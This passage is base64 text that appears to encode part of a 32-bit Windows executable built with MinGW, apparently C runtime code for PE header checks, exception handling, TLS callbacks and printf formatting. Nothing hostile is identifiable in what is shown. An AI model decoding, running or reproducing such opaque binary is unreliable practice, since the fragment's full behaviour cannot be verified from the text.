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uC4AAADoRPH//4tl1Ol5////jXQmAA+3UxTr0WaQVYnFV4nXVonOU4PsHItcJDCLSwiF9g+OjAEAADnxfBIp8YlLCHgLi0MMOcEPj4wBAADHQwj/////uf/////2QwUQdExmg3scAA+E4QAAAI1GArqrqqqq9+KJyNHqiVQkDIPqASnKg3wkDAF1G+m+AAAAjbYAAAAAg+gBidEBwYlDCA+EnAAAAIXAf+yNdCYAhe0PhfkAAACLQwT2xAEPhYwCAACoQA+F5AIAAItDCIXAfhWLUwSB4gAGAACB+gACAAAPhIACAACNaxyF9g+OxQEAAI10JgCQD7YXuDAAAACE0nQGg8cBD77CidroP/D//4PuAQ+E9gAAAPZDBRB02GaDexwAdNFpxquqqqo9VVVVVXfEidm6AQAAAIno6G7w///rtInBjbQmAAAAAI12AIXJD45Y////he0PhSgBAACLQwSpwAEAAA+EIgIAAIPpAYlLCA+EQf////bEBg+FOP///4PpAYlLCI20JgAAAACJ2rggAAAA6LTv//+LQwiNUP+JUwiFwH/nhe0PhAf///+J2rgtAAAA6JPv///pCv///422AAAAAIXJD46gAAAAg+kBi0MMOcEPjpgAAAApwYlLCIXAD441AQAAg+kBiUsIhfYPjlf////2QwUQD4RN////6Vz+//+NtCYAAAAAkItDDIXAfxn2QwUIdROD6AGJQwyDxBxbXl9dw410JgCQidjomfz//+sgjbQmAAAAAA+2F7gwAAAAhNJ0BoPHAQ++wona6Pfu//+LQwyNUP+JUwyFwH/ag8QcW15fXcNmkA+EXf///8dDCP/////pLv7//422AAAAAIPpAYlLCA+EHf////dDBAAGAAAPhOL+//+J2rgtAAAA6KPu///pGv7//422AAAAALgwAAAAidrojO7//4tDDIXAfxX2QwUIdQ+F9nUd6UP///+NtgAAAACJ2Ojp+///hfYPhGr///+LQwwB8IlDDI20JgAAAABmkInauDAAAADoRO7//4PGAXXv6UP///+NtCYAAAAAjXYAi0ME9sQID4W//v//hfYPjiT+///2xBAPhBv+//9mg3scAA+EEP7//+ki/f//jXYAidq4KwAAAOj07f//6Wv9//+NtCYAAAAAg+gBiUMIZpCJ2rgwAAAA6NTt//+LQwiNUP+JUwiF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